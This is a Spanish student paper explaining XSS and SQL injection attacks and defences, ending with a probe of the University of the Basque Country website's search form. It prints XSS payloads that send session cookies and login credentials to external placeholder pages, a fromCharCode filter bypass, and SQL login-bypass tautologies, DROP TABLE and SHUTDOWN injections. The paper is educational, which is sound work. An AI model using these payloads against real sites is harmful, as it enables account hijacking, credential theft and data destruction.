INYECCIN DE CDIGO EXTERNO EN APLICACIONES WEB: Cross Site Scripting (XSS) SQL Injection

Autor: Iigo Garca Olaizola

Pgina 0

ndice ndice ................................................................................................... 1 Introduccin ......................................................................................... 2 Ataques XSS ....................................................................................... 3

Qu es XSS? Cmo funciona?...................................................3 Qu tipos de ataques XSS existen? .............................................3 XSS y JavaScript ............................................................................4 Tcnicas de inyeccin.....................................................................6 Proteccin ante XSS.......................................................................8

Ataques de inyeccin SQL / SQL injection.......................................... 10

Qu es la inyeccin SQL? Cmo funciona? ...............................10 Comprobando si una aplicacin Web es vulnerable .......................10 Qu tipo de ataques de Inyeccin SQL existen? ..........................11 Proteccin ante Inyeccin SQL.......................................................13 Detectando vulnerabilidad en la pgina de EHU ..........................................15 Conclusin....................................................................................................17 Fuentes ........................................................................................................17

Pgina 1

Introduccin
En el campo de la seguridad informtica, las aplicaciones Web son uno de los bienes ms importantes a proteger ya que pueden contener informacin confidencial de una organizacin, ser la base del servicio que ofrece una empresa, etc. Adems de que estas aplicaciones estarn bajo la mirada del pblico ms grande puede existir; los usuarios de cualquier parte del mundo. Todo esto hace que el programador de una aplicacin Web deba de tener en cuenta como aspecto muy importante la seguridad. Una seguridad, que da a da se pone a juicio con nuevos fallos y vulnerabilidades que aparecen en las tcnicas y lenguajes utilizados para el diseo e implementacin de estas aplicaciones. De las muchas vulnerabilidades que podemos encontrar en las aplicaciones Web, XSS y SQL injection son dos de las ms conocidas, por eso hemos decidido realizar un trabajo que nos introduzca a estos conceptos, nos oriente a una idea de cual es su funcionamiento y nos ensee cmo debemos protegernos ante los ataques derivados de estas vulnerabilidades. Ambas vulnerabilidades se centran en una de las partes de la seguridad informtica ms difciles de controlar, el factor humano ya que los ataques a estas vulnerabilidades explotan las entradas de datos que tiene una aplicacin Web, es decir, la nica medida que tiene un usuario externo tiene para comunicarse con la aplicacin. En la gestin de la seguridad de una aplicacin Web confiar en que los usuarios van a realizar un uso legtimo de las entradas de datos es un error grave, ya que nunca podemos confiar en una comunidad tan extensa como es la red. Por lo que, tener estas entradas vulnerables a ataques podr contraer consecuencias; consecuencias derivadas de ataques XSS e Inyeccin SQL por ejemplo.

Pgina 2

Ataques XSS
Qu es XSS? Cmo funciona? XSS proviene del ingles Cross Site Scripting y se denomina a la inyeccin de cdigo HTML incrustado. XSS se trata de un tipo de ataque que explota vulnerabilidades en las aplicaciones Web. Este tipo de ataques consiste en utilizar las entradas de datos que dispone la aplicacin Web para introducir y ejecutar cdigo que el atacante ha creado. Los objetivos de los ataques XSS principalmente no van orientados a los servidores Web que gestionan las aplicaciones sino a los usuarios de las mismas, quienes pueden llegar a sufrir robo de identidad, denegacin de acceso y ms tipo de ataques segn cual sea el cdigo maligno que el atacante haya podido inyectar. Un ejemplo de ataque XSS puede ser el siguiente, cuyo objetivo es crear SPAM: Una aplicacin Web tiene un sistema de comentarios para las noticias que pblica. Un usuario externo puede redactar un comentario sobre un formulario y una vez pulsado aceptar este quedara aadido a la pgina que contiene la noticia, es decir, en el documento HTML final habr una seccin en la que se podr visualizar el texto del comentario aadido. Ahora, si el usuario en vez de redactar un comentario, lo que hiciera fuese escribir un script que redireccionar a una pgina externa, la aplicacin Web podra no filtrar este script y aadirlo como si se tratar de otro comentario ms. La situacin final sera que cualquier otro usuario que entrara a leer la noticia, ejecutara el script aadido al cdigo HTML y sera redireccionado a una pgina externa. Qu tipo de ataques XSS existen? Segn el escenario en el que se realizan, los ataques XSS pueden ser de tipo reflejado (no-persistente) o de tipo persistente. Tipo reflejado: En un ataque XSS de tipo reflejado, el atacante consigue ejecutar su cdigo en la aplicacin Web, pero no consigue que este sea aadido a la base de datos de la aplicacin. Por ejemplo: un link en el que se le da un valor a una variable php, cuyo valor aparecer luego insertado en el cdigo HTML resultante de cargar dicho link. Ej: http://servidor.com/pagina.php?var=codigomaligno. Para que un usuario pudiera llegar a ejecutar este cdigo el atacante tendra que entrar en contacto con la victima y mediante ingeniera social hacer que esta llegara a abrir el link en su navegador.

Pgina 3

Aplicacin Web

Link con XSS

Html con script

Atacante

Link con XSS

Usuario

Tipo persistente: En este tipo de ataques XSS, el atacante consigue que el cdigo maligno que ha preparado se aada a la base de datos de la aplicacin Web y este sea visualizable en alguna de las pginas de la aplicacin. Por ejemplo el caso antes comentado del sistema de comentarios en una Web de noticias. Este ataque es el ms peligroso de todos ya que la vctima no puede sospechar que vaya a ser atacada por el simple hecho de entrar en una pgina Web que puede que visite frecuentemente. Adems de este modo el atacante puede ocultar fcilmente su identidad.
1
Link con XSS

Atacante 2
Link correcto

Aplicacin Web

Usuario
Html con script

Aplicacin Web

XSS y JavaScript El cdigo que se utiliza normalmente a la hora de realizar un ataque XSS esta escrito en lenguaje JavaScript. Este es un lenguaje interpretado que se utiliza en las pginas Web y que despliega un amplio abanico de posibilidades para el atacante a la hora de desarrollar el script. El dao que realice el ataque XSS depender de que tipo de script se haya utilizado para la inyeccin de cdigo.

Pgina 4

Scripts molestos: El nico objetivo de estos scripts es el de causar molestia al usuario. Hacindole clikar una ventana de alerta que vuelve a salir, generar un bucle infinito de popups Ejemplo:
<script> while(1) alert(Pulsa aceptar); </script>

Este script generara una ventana de alerta que tras cerrarla se volver a abrir infinitamente. Scripts de redireccin: El objetivo de estos scripts puede ser el de conseguir visitas a la pgina Web que el atacante ha decidido mediante la redireccin, o incluso tambin podra utilizarse para realizar un ataque de phising, redireccionando al usuario a una pgina que pareciese la misma en la que estaba, pero que el atacante hubiera diseado con el objetivo de robarle sus datos personales. Ejemplo:
<script> document.location.href = http://nuevapagina.com </script>

Este simple script redirecciona al usuario a la nueva pgina. Scripts de captura de datos: El objetivo de estos scripts es el de conseguir capturar datos del usuario creando para ello formularios falsos que se aadirn a la pgina donde este inyectado el cdigo o aparecern en forma de popup.

Ejemplo:
<script> document.getElementById('ejemplo').style.visibility = "visible"; </script> <div id='ejemplo'> <form method='post' action='http://paginaquerecogera.com/losdatos.php'> Usuario:<input type='text' name='usuario'><br> Contrasea:<input type='password' name='pass'><br> <input type='submit' value='Login'> </form> </div>

Este script crea un formulario con un campo de usuario y contrasea e intenta que el usuario vctima inserte sus datos y pulse aceptar para que de este modo se capturen sus datos mediante una pgina externa que el atacante ha definido en el cdigo.

Pgina 5

Scripts de robo de sesin: Este tipo de scripts son los ms peligrosos ya que permiten al atacante robar la identidad del usuario sin que este pueda llegar a sospecharlo. Funcionan de la siguiente manera: el usuario establece una conexin con el servidor Web generando una variable de sesin, la cual se guarda en la cookie. Posteriormente el usuario carga una pgina en la que el atacante ha inyectado cdigo malicioso; este cdigo se ocupa de capturar la cookie del usuario y guardarla en un servidor externo. De este modo, mientras el usuario no cierre la sesin iniciada con el servidor el atacante podr utilizar esta sesin mediante la cookie capturada obteniendo as los privilegios que el usuario vctima tuviera en la pgina Web. Ejemplo:
<script> document.location=http://paginaqueguardara/lacookie.php?cookie=+document.cookie; </script>

Este script enva la cookie a un servidor externo para que esta sea almacenada. Esto es posible porque en javascript existe la variable document.cookie que contiene el valor de la cookie de la sesin actual.

Tcnicas de inyeccin En el apartado anterior hemos descrito algunos de los scripts que pueden ser utilizados para realizar ataques XSS. Pero estos pueden llegar a ser demasiado simples y fciles de reconocer por la vctima, por lo que normalmente los atacantes que utilizan XSS suelen utilizar tcnicas para filtrar y ocultar algo ms estos scripts. Tamao del script: Cuando el tamao del script realizado por el atacante toma un tamao elevado, este se suele escribir en un fichero aparte y se guarda en un servidor que externo. De esta manera en el cdigo que se inyectar en la pgina vctima slo se deber hacer referencia a la direccin donde el script de tamao elevado este alojado. Ejemplo:
<script language=javascript src="http://servidor.com/script.js"></script>

Este mtodo se utiliza sobre todo en los ataques XSS no-persistentes, en los que el cdigo inyectado va unido al link, y si este toma un tamao elevado puede ser muy sospechoso para la vctima. Carga de imgenes: En los apartados anteriores cuando queramos enviar datos obtenidos del usuario como sus cookies, el procedimiento que seguamos era el de redireccionar al usuario a una pgina creada por el atacante para almacenar

Pgina 6

los datos. Pero existe otra forma que evita que esta pgina sea cargada en pantalla. Para ello se utiliza la etiqueta IMG de html, y en el campo SRC de esta etiqueta se inserta la pgina que almacenara los datos. De esta manera la vctima seguir navegando por la pgina actual y no percibir que se le haya robado ningn dato. Ejemplo:
<img src='http://paginaqueguardara/lacookie.php?cookie='+document.cookie>

Este ejemplo podra ser mejorado dando atributos de tamao cero a la imagen para que de ese modo sea completamente invisible para la vctima. Evitando el filtro de comillas Algunas aplicaciones Web no permiten la insercin de comillas simples o dobles en los formularios o como valor de variables en el link. Estas son filtradas por \ o \ evitando as la mayora de los scripts posibles para la realizacin de un ataque XSS. Podramos considerar que esta medida puede ser suficiente para proteger nuestra aplicacin contra estos ataques, pero la realidad es que existen medidas alternativas que evitan este filtrado. En javascript existe el mtodo String.fromCharCode(); el cual pasndole nmeros por parmetro devuelve un string formado por los cdigo ASCII de los nmeros que le hemos pasado. Por lo que podramos utilizarlo para escribir el script que queramos inyectar. Ejemplo:
<script> function f() { var v=String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 72, 111, 108, 97, 34, 41, 59); document.write(v); } f() </script>

El ejemplo anterior inyecta el cdigo alert("Hola"); utilizando una funcin auxiliar para ello. Dentro de la funcin guardamos en una variable el string generado para posteriormente imprimirlo. Para realizar la traduccin de texto a cdigo ASCII de forma automtica hemos utilizado la siguiente pgina: http://www.easycalculation.com/ascii-hex.php

Pgina 7

Proteccin ante XSS Hasta ahora solo hemos hablado de cmo funcionan los ataques XSS y de cmo se pueden llevar a cabo. En este apartado vamos a intentar ver como podemos protegernos ante este tipo de ataques. Como proteger mi aplicacin Web. Para proteger nuestra aplicacin contra inyeccin XSS hay que centrarse en proteger la entrada de datos de los usuarios. Ya que esta es la nica manera que tiene el atacante para llevar a cabo la inyeccin. Toda informacin que el usuario pueda insertar mediante formularios, variables en el link, etctera debe de ser analizada y filtrada para que su nico fin sea el que el programador de la aplicacin Web haya decidido. Para ello podemos utilizar las siguientes medidas: Limitacin de tamao de la entrada: El tamao posible de la entrada debe de ir acorde con la funcin que vaya a desempear esa entrada de datos. Por ejemplo, para que un usuario introduzca su nombre y contrasea no debera disponer de un tamao mximo mayor a 20 caracteres. Filtrado de caracteres especiales: Cmo hemos visto en el apartado anterior, el filtrado de caracteres especiales como las comillas y doble comillas puede ser una medida simple para evitar ataques XSS a primera vista, pero hay que recordar que estos filtros pueden ser esquivados. Filtrado de etiquetas html: Una de las mejores medidas de prevencin es filtrar las etiquetas html, para que un usuario externo slo pueda introducir texto plano. Evitando as que inserte scripts, imgenes, o links. Aunque a veces queremos que ciertas etiquetas como las de edicin de texto en negrita o cursiva, o las de aadido de imgenes si estn disponibles. Para ello lo que se suele utilizar (sobre todo en foros, y sistemas de comentarios) es el uso de etiquetas auxiliares. Estas etiquetas sern ms limitadas que las HTML y despus de pasar un filtro de la aplicacin Web se convertirn en etiquetas HTML vlidas. Por ejemplo: [k]Texto en negrita[/k] se convertir en <k>Texto en negrita</k> mientras que [script]alert(Hola);[/script] ser procesado como texto plano.

Como protegerme como usuario. Como usuario la principal proteccin ante ataques XSS es acceder a las pginas Web escribiendo su direccin directamente en la barra de navegacin o desde links que la propia aplicacin nos facilita; siempre y cuando las direcciones de los links nos lleven a pginas del mismo servidor. Todas estas medidas de prevencin son muy parecidas a las que hay que llevar a cabo si queremos evitar el phising.

Pgina 8

Pero a todo esto solo nos proteger ante ataques XSS no-persistentes. Los ataques persistentes son mucho ms difciles de detectar ya que pueden estar pginas que nosotros valorbamos como de confianza. La nica medida que podemos llevar a cabo es desactivar la ejecucin de cdigo javascript cuando vallamos a acceder a alguna pgina Web de cuya fuente desconfiemos: acceder a un email cuyo destinatario no sea de confianza, leer los comentarios de algn foro o blog o cualquier otro tipo de sitios en los que los usuarios pueden redactar mensajes. Otra buena medida de prevencin es finalizar la sesin de una aplicacin Web una vez hallamos terminado de trabajar con ella, de esta manera si nos hubieran robado la cookie con la sesin actual, esta ya no servira.

Pgina 9

Ataques de inyeccin SQL / SQL injection

Qu es la inyeccin SQL? Cmo funciona? Para definir que es la inyeccin SQL primero debemos conocer que el lenguaje SQL es un lenguaje declarativo que se usa para interactuar con bases de datos relacionales. Dicho esto, la inyeccin SQL es una vulnerabilidad en el control de entrada de datos, la cual permite insertar cdigo SQL dentro de una consulta ya definida, consiguiendo as modificar la sentencia SQL o ejecutar nuevo cdigo. Esta vulnerabilidad se puede dar en cualquier aplicacin cuyo lenguaje pueda aceptar sentencias SQL. Aunque nosotros nos vamos a centrar bsicamente en las aplicaciones Web, ya que estas son las ms afectadas por esta vulnerabilidad. El funcionamiento de un ataque de inyeccin SQL sera el siguiente: Dada una sentencia SQL en la aplicacin Web, por ejemplo: SELECT * FROM Noticias WHERE Titulo=$titulo; en la que $titulo fuese una variable que toma valor desde alguna entrada de datos de la aplicacin Web (un formulario de bsqueda por ejemplo). El atacante podra introducir como valor la siguiente cadena: hola (hola seguido de una comilla simple), lo que dara como resultado la siguiente sentencia SQL: SELECT * FROM Noticias WHERE Titulo=hola ; Ahora el atacante podra insertar cdigo despus de hola y este sera interpretado como lenguaje SQL; habra sido inyectado en la aplicacin. Ejemplo:
$titulo=hola OR a=a SELECT * FROM Noticias WHERE Titulo=hola OR a=a;

Dado que la sentencia a=a siempre se cumple esto dara como resultado de la consulta SQL todas las tuplas de la tabla Noticias. Adems este ejemplo no dara lugar a error ya que la sentencia SQL estara bien redactada (sin ninguna comilla ni carcter sobrante). Comprobando si una aplicacin Web es vulnerable A simple vista no podemos saber si una aplicacin es vulnerable a ataques de inyeccin SQL, ya que, aunque esta trabaje con consultas SQL existen varios tipos diferentes de bases de datos que trabajan con este lenguaje. Todas estas bases de datos siguen cierto estndar, pero al ser de diferentes fabricantes difieren un poco unas de otras en el sistema de interpretar las variables externas, manejo de comentarios, resolucin de errores etc. Una tcnica bastante fcil de usar es la de buscar alguna entrada de datos por variable en el link del tipo pagina.php?pg=6 en la aplicacin Web objetivo y modificar el valor de la variable aadindole por delante una comilla simple; pagina.php?pg=6. De este modo intentaremos que la pgina realice una consulta SQL de este estilo: SELECT * FROM Tabla WHERE pag=6. Si al cargar el link modificado la pgina nos devuelve un error diciendo que hay una consulta

Pgina 10

mal redactada, habremos encontrado una pgina vulnerable que adems reporta los fallos de consultas SQL hacindolos visibles a cualquier usuario. Otra forma de saber si la aplicacin soporta inyeccin SQL es rellenando una entrada de datos en la aplicacin Web, inyectando cdigo y sin inyectarlo, de manera que las dos consultas finales sean equivalentes. Si el resultado de las dos diferentes entradas de datos es el mismo, puede que estemos ante un caso de vulnerabilidad. Ejemplo: Formulario de bsqueda: >> 1982
SELECT * FROM Tabla WHERE Year=1982;

>> 1982 AND a=a

SELECT * FROM Tabla WHERE Year=1982 AND a=a;

Qu tipo de ataques de Inyeccin SQL existen? Los ataques de inyeccin SQL se pueden clasificar principalmente en tres tipos diferentes segn la finalidad que tengan. Ataques de obtencin de privilegios: La mayora de las pginas Web controlan los accesos a las zonas privadas mediante consultas SQL a una base de datos, en la que se comprueba si el usuario y contrasea introducidos existen y si tienen privilegios para acceder a una zona concreta. Este tipo de ataque se centra en manipular esta consulta para conseguir obtener los privilegios que se obtendran al ingresar en la pgina con un login correcto, pero sin conocer usuario ni contrasea alguna. Para ello la consulta SQL debe de tener unas caractersticas determinadas. Las consultas SQL que suelen ser vulnerables a este tipo de ataques son las que permiten la entrada a la zona privada si el resultado de la consulta es distinto de vaco (ninguna tupla en el resultado). Por ejemplo: SELECT FROM Usuarios WHERE User=$Usuario AND Pass=$Password; Esta consulta permitira el acceso a la zona privada si existiera en la Tabla Usuarios una tupla con el nombre de usuario y contrasea introducidos. Por lo que para conseguir un acceso sin conocer ninguna tupla bastara con inyectar cdigo de manera que la consulta SQL devolviera siempre alguna tupla. Para ello inyectaramos un OR lgico en los dos campos.
$Usuario= u OR u=u $Password= p OR p=p SELECT FROM Usuarios WHERE User=u OR u=u AND Pass=p OR p=p;

Esta inyeccin nos permitira un acceso garantizado. Pero en el caso de que la aplicacin Web manejara diferentes categoras de privilegios para

Pgina 11

diferentes usuarios, a primera vista no quedara claro cuales son los privilegios que conseguiramos; quizs los de la primera tupla almacenada en la tabla. Para obtener los privilegios de un usuario en concreto deberamos de conocer el nombre del usuario e insertarlo, dejando solo el ataque de inyeccin en el campo contrasea.
SELECT FROM Usuarios WHERE User=Administrador AND Pass=p OR p=p;

El impacto de este ataque depender de los privilegios conseguidos. Se calificara de impacto muy grave si se consiguiesen privilegios de control total de la base de datos; de impacto grave si se consiguiesen privilegios de administracin de la pgina Web y de impacto medio si se consiguiesen privilegios de usuario de la pgina Web. Ataques de denegacin de servicio: Este tipo de ataques no ponen en riesgo la confidencialidad de la pgina Web pero causan daos graves en la integridad y disponibilidad de la misma. Los daos que pueden causar estos ataques van desde la imposibilidad del acceso a los usuarios registrados hasta la cada del propio servidor de la base de datos. Las consultas SQL que se utilizan para inyectar cdigo en este caso no tienen que seguir ningn patrn concreto, nicamente deben de ser vulnerables a la inyeccin. Adems la efectividad de estos ataques depender de como este configurado el servidor de la base de datos para escrituras y modificaciones desde la aplicacin Web. Ya que estos ataques a diferencia de los anteriores no se basan nicamente en modificar la sentencia SQL de la aplicacin sino que adems inyectan una nueva operacin SQL. Ejemplo: Dada una consulta SQL de bsqueda como esta:
SELECT Libro FROM Biblioteca WHERE Autor=$nombre;

La tcnica bsica consiste en inyectar cdigo en el parmetro de entrada que cierre la consulta SQL y aada una nueva operacin SQL.
Autor=a; OTRA OPERACIN SQL; SELECT Libro FROM Biblioteca WHERE Autor= a; OTRA OPERACIN SQL;;

Para ignorar la comilla y el punto coma sobrantes al final de la sentencia podemos insertar el smbolo de comentario (-- para algunas bases de datos) o insertar otra sentencia SQL simple que haga uso de ellas al final. Ej:
Autor=a; OTRA OPERACIN SQL; SELECT * FROM Biblioteca WHERE a=a SELECT Libro FROM Biblioteca WHERE Autor= a; OTRA OPERACIN SQL; Select * FROM Biblioteca WHERE a=a;

El dao que producen estos ataques depender del tipo de operacin

Pgina 12

que se inyecte. Estos son dos ejemplos de posibles operaciones que realizaran un ataque de denegacin de servicio al ser inyectadas: Operacin que elimina la tabla que contiene la informacin de los usuarios registrados en la pgina Web. Esta operacin dejara sin poder acceder a su servicio a todos los usuarios de la Web.
DROP TABLE Usuarios;

Operacin que apaga el servidor en el que se encuentra la base de datos. Esta operacin suele requerir de permisos especiales, pero si se llegar a llevar a cabo dejara colgada toda la base de datos de la aplicacin Web.
SHUTDOWN INMEDIATE;

Ataques de obtencin de informacin de la base de datos: Estos ataques son ms complejos ya que tratan de adivinar cuales son las tablas de las bases de datos y sus contenidos mediante el estudio de los mensajes de error y otras tcnicas. Por su complejidad, nicamente vamos a citar que existen y que se pueden realizar mediante inyeccin SQL. Proteccin ante Inyeccin SQL En este apartado vamos a ver diferentes medidas que se pueden llevar a cabo para proteger nuestra aplicacin ante ataques de inyeccin SQL y evitar que sea vulnerable. Poner en prctica estas medidas de prevencin ser tarea del diseador o programador de la aplicacin Web cuando se traten de mtodos de implementacin, tcnicas de filtrado; o bien del responsable de seguridad de la base de datos cuando se trate de establecimiento de permisos y privilegios. El usuario de a pie no tendr mucho que hacer para protegerse ante este tipo de ataques, por lo que si sus la integridad y confidencialidad de sus datos en la aplicacin Web se pusiese en riesgo, la responsabilidad recaera seguramente sobre el responsable de la aplicacin Web. Otra razn ms para proteger la aplicacin ante estos ataques. Pasamos a enumerar algunas medidas de prevencin. Limitar la entrada del usuario: La entrada de datos del usuario debe de tener un tamao de datos acorde con el dato que se espera recibir. Una entrada de datos destinada a un campo contrasea no debera superar los 20 caracteres aproximadamente. Adems sera aconsejable aadir filtros a la entrada de modo que eliminasen caracteres especiales (comillas, comillas dobles, smbolo =) y que rechazarn palabras clave del lenguaje SQL (SELECT, DELETE). Finalmente habra que tomar estas medidas no solo con las entradas de datos visibles, tambin con las que no se ven a primera vista como las variables que toman valor en el link de la pgina.

Pgina 13

No utilizar sentencias SQL dinmicas Las sentencias SQL que redactemos no deberan de poder trabajar con las variables de las entradas de datos, deberan de ser sentencias fijas que no pudieran ser modificadas en tiempo de ejecucin. Configuracin de la base de datos Las consultas y operaciones SQL que se realicen desde la aplicacin Web deberan realizarse con los permisos mnimos para satisfacer la consulta y nunca con permisos de administrador. No se debe proporcionar informacin sobre la base de datos. Para ello sera recomendable deshabilitar la salida de errores por la Web, ya que muchas veces esta revela detalles de la misma que podran ayudar a que un posible atacante a la hora de determinar que tipo de base de datos va a atacar. Por otro lado nunca debera revelarse al pblico cuales son los nombres y atributos de las tablas de la base de datos, ni como estn implementadas las sentencias SQL ya que esto pone las cosas muy fcil a alguien que este preparando cdigo a inyectar.

Pgina 14

Detectando vulnerabilidad en la pgina de EHU

Despus de conocer con cierto nivel de detalle como funcionan las tcnicas de ataques XSS e inyeccin SQL, no nos sera muy difcil reconocer aplicaciones Web que fueran vulnerables ante estos ataques a primera vista. En este caso, hemos encontrado una vulnerabilidad en una aplicacin Web muy cercana a nosotros; la pgina Web de la Universidad del Pas Vasco. Esta pgina, contiene un formulario de bsqueda en el men izquierdo, cuya entrada de datos admite inyeccin de cdigo.

Para detectar si el formulario de bsqueda es vulnerable a un ataque XSS hemos introducido el script <script/>alert(Soy vulnerable);</script> como valor. Si la pgina fuese vulnerable nos debera de aparecer una ventana de alerta con el mensaje Soy vulnerable al realizar la bsqueda. Lo cual sucede, por lo que la aplicacin es vulnerable.

El link de la pgina resultante podra ser utilizado para ataques XSS de tipo reflejado. A la hora de comprobar si existen vulnerabilidades para la inyeccin SQL, vamos a utilizar la tcnica de consultas equivalentes. Introducimos hola en la primera bsqueda como valor y hola AND b=b en la segunda bsqueda. Los resultados que obtenemos difieren, por lo que a primera vista no es vulnerable. Se podra realizar una comprobacin ms exhaustiva, pero no lo vamos a hacer. 1 bsqueda:

Pgina 15

2 bsqueda:

Lo que si podemos comprobar es que la aplicacin Web muestra errores internos por medio de la Web el usuario cuando tiene problemas para tratar ciertas cadenas de texto introducidas por el usuario. Por ejemplo si insertamos el valor a OR 1=1 nos devuelve una descripcin de error como resultado de la bsqueda.

Lo que demuestra que la salida de errores hacia el usuario esta habilitada y adems esta es bastante detallada, lo cual podra a un atacante servir de ayuda para obtener informacin interna del funcionamiento de la aplicacin Web. Este mensaje de error habra sido suficiente si nos hubiese mostrado nicamente el texto Error al incluir el rea Visual. Mi recomendacin sencilla y modesta para el responsable de seguridad de la aplicacin Web de la Universidad del Pas Vasco, es que filtrara la entrada de datos del formulario de bsqueda; con, por ejemplo, algunas de las soluciones planteadas en este documento. De este modo evitara en gran parte la inyeccin de cdigo. Tambin sera recomendable que no mostrase al usuario mensajes de error con un grado de detalle tan alto.

Pgina 16

Conclusin
Los ataques de inyeccin de cdigo que hemos estudiado son capaces de poner en compromiso la integridad, confidencialidad y disponibilidad de una aplicacin Web y de la informacin que los usuarios puedan tener disponible en esta aplicacin. Hemos visto que el impacto de este compromiso puede llegar a ser muy alto y que, al tratarse de aplicaciones que estn disponibles para cualquier usuario de la red que acceda a ellas, la probabilidad de que alguien decida atacarlas es bastante alta. Adems para realizar este tipo de ataques no se necesitan tener muchos conocimientos ni dedicar horas y horas de estudio; un usuario normal que conozca levemente tcnicas de scripting en lenguaje javascript y conozca como realizar consultas bsicas en SQL sera capaz de poner en prctica tanto un ataque de XSS como uno de inyeccin SQL. Por todo esto, el hecho de que nuestra aplicacin Web sea vulnerable a estas tcnicas de inyeccin de cdigo no podra quedar en la zona de riesgo residual. Sobretodo viendo que las medidas de prevencin que nos protegen ante estos ataques son de coste muy bajo. La mayora de las veces con aplicar un filtro a la entrada de datos de la aplicacin Web ya estamos eliminando un porcentaje muy alto de xito en un ataque de inyeccin de cdigo externo. Existen muchas ms vulnerabilidades en las aplicaciones Web y a diario se descubren otras ms para aadir a la pila. Por este motivo es muy difcil que nuestra aplicacin Web sea totalmente segura, pero ya que la inyeccin SQL y XSS son dos vulnerabilidades muy conocidas que, adems, no necesitan medidas de prevencin de alto coste para ser protegidas, animo al lector a que las tenga en cuenta en sus posibles proyectos de aplicaciones Web.

Fuentes
XSS: http://en.wikipedia.org/wiki/Cross-site_scripting http://4party.cuatrovientos.org/?q=node/17 http://www.cgisecurity.com/articles/xss-faq.shtml http://ha.ckers.org/xss.html http://cyruxnet.org/modulo_dic_xoops.htm

SQL Inyection: http://en.wikipedia.org/wiki/SQL_injection http://www.eslomas.com/upload/2006/06/advanced_sql_injection.pdf http://www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx http://www.hackemate.com.ar/textos/papers/Tecnicas%20de%20SQL%20Inject ion%20-%20Un%20Repaso.pdf

Pgina 17